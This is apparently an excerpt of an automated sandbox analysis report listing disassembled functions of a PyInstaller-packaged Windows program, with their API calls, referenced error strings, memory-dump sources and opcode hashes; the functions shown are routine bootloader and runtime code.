Function 00007FF72C652C50 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 104windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF72C653706,?,00007FF72C653804), ref: 00007FF72C652C9E
FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF72C653706,?,00007FF72C653804), ref: 00007FF72C652D63
MessageBoxW.USER32 ref: 00007FF72C652D99

Strings

<FormatMessageW failed.>, xrefs: 00007FF72C652D70
%ls: , xrefs: 00007FF72C652D22
[PYI-%d:ERROR] , xrefs: 00007FF72C652CA6
Error, xrefs: 00007FF72C652D8C

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: Message$CurrentFormatProcess
String ID: %ls: $<FormatMessageW failed.>$Error$[PYI-%d:ERROR]
API String ID: 3940978338-251083826
Opcode ID: c67c27f58c2af476bbbd059d0433c12e6f67668a4e3ecf6e42cf1bc8669f0b6b
Instruction ID: e5da6b28d70f97c550be33878bb7928a7a18930d417b19fe976bc6fb89343c7f
Opcode Fuzzy Hash: c67c27f58c2af476bbbd059d0433c12e6f67668a4e3ecf6e42cf1bc8669f0b6b
Instruction Fuzzy Hash: 0731F622708A4142E721BB25AC142ABA792FF987E8F900136EF4D93759DF3CD50ACB10

Function 00007FF72C65DCC8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF72C65DF7A,?,?,?,00007FF72C65DC6C,?,?,?,00007FF72C65D869), ref: 00007FF72C65DD4D
GetLastError.KERNEL32(?,?,?,00007FF72C65DF7A,?,?,?,00007FF72C65DC6C,?,?,?,00007FF72C65D869), ref: 00007FF72C65DD5B
LoadLibraryExW.KERNEL32(?,?,?,00007FF72C65DF7A,?,?,?,00007FF72C65DC6C,?,?,?,00007FF72C65D869), ref: 00007FF72C65DD85
FreeLibrary.KERNEL32(?,?,?,00007FF72C65DF7A,?,?,?,00007FF72C65DC6C,?,?,?,00007FF72C65D869), ref: 00007FF72C65DDF3
GetProcAddress.KERNEL32(?,?,?,00007FF72C65DF7A,?,?,?,00007FF72C65DC6C,?,?,?,00007FF72C65D869), ref: 00007FF72C65DDFF

Strings

api-ms-, xrefs: 00007FF72C65DD6D

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 276526191d17588ee9fa22b972cdf0953455baf5c8a53fb276b347519b5968a9
Instruction ID: 6ae0cf5baa093417a20021ca0618aaefd6792ed2195cb2806e943f1291da9b45
Opcode Fuzzy Hash: 276526191d17588ee9fa22b972cdf0953455baf5c8a53fb276b347519b5968a9
Instruction Fuzzy Hash: BE317221B1A64291EE13BB069D006A5A3D5FF68BF4FE94635DE1D463C0EE3CE4448B24

Function 00007FF72C656360 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 82COMMON

Download Yara Rule

Strings

Path of Python shared library (%s) and its name (%s) exceed buffer size (%d), xrefs: 00007FF72C656456
LoadLibrary, xrefs: 00007FF72C6564AE
Path of ucrtbase.dll (%s) and its name exceed buffer size (%d), xrefs: 00007FF72C656407
ucrtbase.dll, xrefs: 00007FF72C6563DD
Failed to load Python DLL '%ls'., xrefs: 00007FF72C6564A7
Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d), xrefs: 00007FF72C6563C7

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to load Python DLL '%ls'.$LoadLibrary$Path of Python shared library (%s) and its name (%s) exceed buffer size (%d)$Path of ucrtbase.dll (%s) and its name exceed buffer size (%d)$Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d)$ucrtbase.dll
API String ID: 2050909247-2434346643
Opcode ID: 2df6df0904ecf2e68063807813f252f2c523520ae69ca8fe89000ee1ae80a761
Instruction ID: 796ce303beb9b4be6c1e9479fbbaca77649ece06acdcfdde21d698eb5fda0e84
Opcode Fuzzy Hash: 2df6df0904ecf2e68063807813f252f2c523520ae69ca8fe89000ee1ae80a761
Instruction Fuzzy Hash: D7417421B18A8691EA12FB10EC152E9A313FF643A4FE04132EB5D47695DF3CE519CB60

Function 00007FF72C652A50 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(00000000,?,?,?,00000000,00007FF72C65351A,?,00000000,00007FF72C653F23), ref: 00007FF72C652AA0

Strings

[PYI-%d:%s] , xrefs: 00007FF72C652AA8
Warning [ANSI Fallback], xrefs: 00007FF72C652B0F
Warning, xrefs: 00007FF72C652B1E
WARNING, xrefs: 00007FF72C652AAF
0, xrefs: 00007FF72C652B16

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: CurrentProcess
String ID: 0$WARNING$Warning$Warning [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-2900015858
Opcode ID: d3ff72078d09a899d0ca032b5bdbc8691629937d026b54217f09319e947088a3
Instruction ID: d4c003c454b633111998e97adf63469324c152fbf723e2234dec0d1069d84301
Opcode Fuzzy Hash: d3ff72078d09a899d0ca032b5bdbc8691629937d026b54217f09319e947088a3
Instruction Fuzzy Hash: 7921A132A18B8292E722AB50BC417E6B3A5FB983D4F900136EE8D43659DF3CD149CA50

Function 00007FF72C66B150 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF72C66B15F
FlsGetValue.KERNEL32 ref: 00007FF72C66B174
FlsSetValue.KERNEL32 ref: 00007FF72C66B195
FlsSetValue.KERNEL32 ref: 00007FF72C66B1C2
FlsSetValue.KERNEL32 ref: 00007FF72C66B1D3
FlsSetValue.KERNEL32 ref: 00007FF72C66B1E4
SetLastError.KERNEL32 ref: 00007FF72C66B1FF

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: a42b9cf7ed1ffe71ebcf97f5a72f2c90d2921d4b6bb9ef7954fc9d2fe8c6feaf
Instruction ID: 22c0e5db78f66657727efbb6fbc4989aea53d76814ed5388e91f011f0e5ee254
Opcode Fuzzy Hash: a42b9cf7ed1ffe71ebcf97f5a72f2c90d2921d4b6bb9ef7954fc9d2fe8c6feaf
Instruction Fuzzy Hash: AC219024B0C24381F95A73619E51239F163FFA47B0FA04738E87E066C6DE2DA4405F21

Function 00007FF72C677D6C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF72C677D9D
GetLastError.KERNEL32 ref: 00007FF72C677DA9
CloseHandle.KERNEL32 ref: 00007FF72C677DC1
CreateFileW.KERNEL32 ref: 00007FF72C677DEC
WriteConsoleW.KERNEL32 ref: 00007FF72C677E0B

Strings

CONOUT$, xrefs: 00007FF72C677DCD

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 3755c2f75cb97972cd4ab37a7e27d28fd0bf6f95a56d27d10542fc75f089f0eb
Instruction ID: c1cab2659841ab4b17ec5aefbb1dc03c87c7df249e3fecf0500bc6ca7902e583
Opcode Fuzzy Hash: 3755c2f75cb97972cd4ab37a7e27d28fd0bf6f95a56d27d10542fc75f089f0eb
Instruction Fuzzy Hash: 6D119631B18A4286E751AB52FC55339A3A1FBA8BF4F400734DA5D877A4DF3CD4588B50

Function 00007FF72C658ED0 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,FFFFFFFF,00000000,00007FF72C653FB1), ref: 00007FF72C658EFD
K32EnumProcessModules.KERNEL32(?,FFFFFFFF,00000000,00007FF72C653FB1), ref: 00007FF72C658F5A

Part of subcall function 00007FF72C659390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF72C6545F4,00000000,00007FF72C651985), ref: 00007FF72C6593C9

K32GetModuleFileNameExW.KERNEL32(?,FFFFFFFF,00000000,00007FF72C653FB1), ref: 00007FF72C658FE5
K32GetModuleFileNameExW.KERNEL32(?,FFFFFFFF,00000000,00007FF72C653FB1), ref: 00007FF72C659044
FreeLibrary.KERNEL32(?,FFFFFFFF,00000000,00007FF72C653FB1), ref: 00007FF72C659055
FreeLibrary.KERNEL32(?,FFFFFFFF,00000000,00007FF72C653FB1), ref: 00007FF72C65906A

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: FileFreeLibraryModuleNameProcess$ByteCharCurrentEnumModulesMultiWide
String ID:
API String ID: 3462794448-0
Opcode ID: 0184f5a771bb2c28f933eba3e4018dda16e38d059dd6d010c17659477659ba58
Instruction ID: 45aa486cb43e8da2c99fb29abee3855fa73dab5e373ef8af8e499d9eca07cd38
Opcode Fuzzy Hash: 0184f5a771bb2c28f933eba3e4018dda16e38d059dd6d010c17659477659ba58
Instruction Fuzzy Hash: B341D662A1968281EA31AB11AC003BAB396FF99BE4F940539DF4D57789DF3DD501CF20

Function 00007FF72C66B2C8 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF72C664F11,?,?,?,?,00007FF72C66A48A,?,?,?,?,00007FF72C66718F), ref: 00007FF72C66B2D7
FlsSetValue.KERNEL32(?,?,?,00007FF72C664F11,?,?,?,?,00007FF72C66A48A,?,?,?,?,00007FF72C66718F), ref: 00007FF72C66B30D
FlsSetValue.KERNEL32(?,?,?,00007FF72C664F11,?,?,?,?,00007FF72C66A48A,?,?,?,?,00007FF72C66718F), ref: 00007FF72C66B33A
FlsSetValue.KERNEL32(?,?,?,00007FF72C664F11,?,?,?,?,00007FF72C66A48A,?,?,?,?,00007FF72C66718F), ref: 00007FF72C66B34B
FlsSetValue.KERNEL32(?,?,?,00007FF72C664F11,?,?,?,?,00007FF72C66A48A,?,?,?,?,00007FF72C66718F), ref: 00007FF72C66B35C
SetLastError.KERNEL32(?,?,?,00007FF72C664F11,?,?,?,?,00007FF72C66A48A,?,?,?,?,00007FF72C66718F), ref: 00007FF72C66B377

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 1c08c83365d44066401784e1b70b71c7670d14ff4fb682678828c33d1612b477
Instruction ID: b528dea49729ec2de321f3305e8fcd7e978b44b48f469b021a3813d14ec907ea
Opcode Fuzzy Hash: 1c08c83365d44066401784e1b70b71c7670d14ff4fb682678828c33d1612b477
Instruction Fuzzy Hash: 16118E24B0C243C2FA5A73215E5113DB163FFA47B0FA44738EA6E576D6DE2CA4415B21

Function 00007FF72C652910 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 86COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF72C651B6A), ref: 00007FF72C65295E

Strings

Error [ANSI Fallback], xrefs: 00007FF72C6529FF
%s: %s, xrefs: 00007FF72C6529E8
[PYI-%d:ERROR] , xrefs: 00007FF72C652966
Error, xrefs: 00007FF72C652A0E

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: CurrentProcess
String ID: %s: %s$Error$Error [ANSI Fallback]$[PYI-%d:ERROR]
API String ID: 2050909247-2962405886
Opcode ID: b3354eec44a94607d33eb4f3788ab89374ba031f66333e1b118589dca889f3f3
Instruction ID: 1a293b21af12d5c7a05d2a9e3fd064be512ebb6b8f574076b13183a5b28a55a4
Opcode Fuzzy Hash: b3354eec44a94607d33eb4f3788ab89374ba031f66333e1b118589dca889f3f3
Instruction Fuzzy Hash: F131F662B1868152E721B761AC412E7A396FF987E4F900136EF8D83749EF3CD14ACA10

Function 00007FF72C652390 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF72C6523C8
DialogBoxIndirectParamW.USER32 ref: 00007FF72C65248E
DeleteObject.GDI32 ref: 00007FF72C6524C1
DestroyIcon.USER32 ref: 00007FF72C6524D3

Strings

Unhandled exception in script, xrefs: 00007FF72C6523F8

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: 851ce5d4a208b56cb63585478e484d0f9d6918564d04618497f061aba15d8534
Instruction ID: 292e865b91f1ef857576b84c42e0cea15a61e894af5280f7789b99ea8d095d60
Opcode Fuzzy Hash: 851ce5d4a208b56cb63585478e484d0f9d6918564d04618497f061aba15d8534
Instruction Fuzzy Hash: D031A472619A8284EB21EF21EC552FAB361FF99794F900135EA4E47B49DF3CD104CB10

Function 00007FF72C652B50 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,FFFFFFFF,00000000,00007FF72C65918F,?,00007FF72C653C55), ref: 00007FF72C652BA0
MessageBoxW.USER32 ref: 00007FF72C652C2A

Strings

WARNING, xrefs: 00007FF72C652BAF
Warning, xrefs: 00007FF72C652C1D
[PYI-%d:%ls] , xrefs: 00007FF72C652BA8

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: CurrentMessageProcess
String ID: WARNING$Warning$[PYI-%d:%ls]
API String ID: 1672936522-3797743490
Opcode ID: 4a0b6e8ebe13cae449087f655af1d2523953ec7fd560ce9a50e7097f48d063a1
Instruction ID: 5d3f22c610251f6ece640e35ebf42f2006ddb559cb5cd631cd3f015714843d58
Opcode Fuzzy Hash: 4a0b6e8ebe13cae449087f655af1d2523953ec7fd560ce9a50e7097f48d063a1
Instruction Fuzzy Hash: DB21D122708B4292E712AB54F8457AAB3A6FB987D4F800136EE8D53659DE3CD219CB50

Function 00007FF72C652710 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,?,00000000,00007FF72C651B99), ref: 00007FF72C652760

Strings

Error [ANSI Fallback], xrefs: 00007FF72C6527CF
[PYI-%d:%s] , xrefs: 00007FF72C652768
ERROR, xrefs: 00007FF72C65276F
Error, xrefs: 00007FF72C6527DE

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: CurrentProcess
String ID: ERROR$Error$Error [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-1591803126
Opcode ID: a4fe537d534c2fb53088f6f6b76b448a80ccad2508d4dc842b27f1a8247accfc
Instruction ID: 232d3d0a5cfeb901089f2024ed04681c0f1170c3fc9ebe893d224d8437097657
Opcode Fuzzy Hash: a4fe537d534c2fb53088f6f6b76b448a80ccad2508d4dc842b27f1a8247accfc
Instruction Fuzzy Hash: CF21B232A18B8292E721EB50BC417E6B3A5FB983E4F900136FE8D43659DF7CD1498B50

Function 00007FF72C669A88 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF72C669AAD
GetProcAddress.KERNEL32 ref: 00007FF72C669AC3
FreeLibrary.KERNEL32 ref: 00007FF72C669AEA

Strings

CorExitProcess, xrefs: 00007FF72C669ABC
mscoree.dll, xrefs: 00007FF72C669AA4

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: b239dd027a539e56a716c05e535b4da9cb8e2339e08a4dc57142401ef2416000
Instruction ID: ae81148a40a3e58e71dc2da579647c5ac35ce6a7802ebd3fccee1782f7d5053d
Opcode Fuzzy Hash: b239dd027a539e56a716c05e535b4da9cb8e2339e08a4dc57142401ef2416000
Instruction Fuzzy Hash: B7F0C82170870781EA15AB10EC4933AA371FF94770F940639CA6E455E4DF2CD48CCB20

Function 00007FF72C679368 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF72C679390
_set_statfp.LIBCMT ref: 00007FF72C6793AB
_set_statfp.LIBCMT ref: 00007FF72C6793C7
_set_statfp.LIBCMT ref: 00007FF72C679403

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction ID: c0fc834633b997149547d233c601b28d733ff1fad658722d3fa7980960768f62
Opcode Fuzzy Hash: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction Fuzzy Hash: EF119632D58A0201FA567165EC9337990D3FF7C378E880E34E76E06AD58E6C9849CE20

Function 00007FF72C66B390 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF72C66A5A3,?,?,00000000,00007FF72C66A83E,?,?,?,?,?,00007FF72C66A7CA), ref: 00007FF72C66B3AF
FlsSetValue.KERNEL32(?,?,?,00007FF72C66A5A3,?,?,00000000,00007FF72C66A83E,?,?,?,?,?,00007FF72C66A7CA), ref: 00007FF72C66B3CE
FlsSetValue.KERNEL32(?,?,?,00007FF72C66A5A3,?,?,00000000,00007FF72C66A83E,?,?,?,?,?,00007FF72C66A7CA), ref: 00007FF72C66B3F6
FlsSetValue.KERNEL32(?,?,?,00007FF72C66A5A3,?,?,00000000,00007FF72C66A83E,?,?,?,?,?,00007FF72C66A7CA), ref: 00007FF72C66B407
FlsSetValue.KERNEL32(?,?,?,00007FF72C66A5A3,?,?,00000000,00007FF72C66A83E,?,?,?,?,?,00007FF72C66A7CA), ref: 00007FF72C66B418

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 44f6b3e63c936746b9124b5af5da9c753e88c88086b63197a25bc1506e4861c0
Instruction ID: 50677f509f3fe0502c9133559968d4331df57f5656ab6f5dd6a059a279eaf794
Opcode Fuzzy Hash: 44f6b3e63c936746b9124b5af5da9c753e88c88086b63197a25bc1506e4861c0
Instruction Fuzzy Hash: A9116330F0864381F95AB3665E51239B163FFA47B0FE44338E97D466CADE2CA4415A21

Function 00007FF72C66B224 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF72C66B235
FlsSetValue.KERNEL32 ref: 00007FF72C66B254
FlsSetValue.KERNEL32 ref: 00007FF72C66B27C
FlsSetValue.KERNEL32 ref: 00007FF72C66B28D
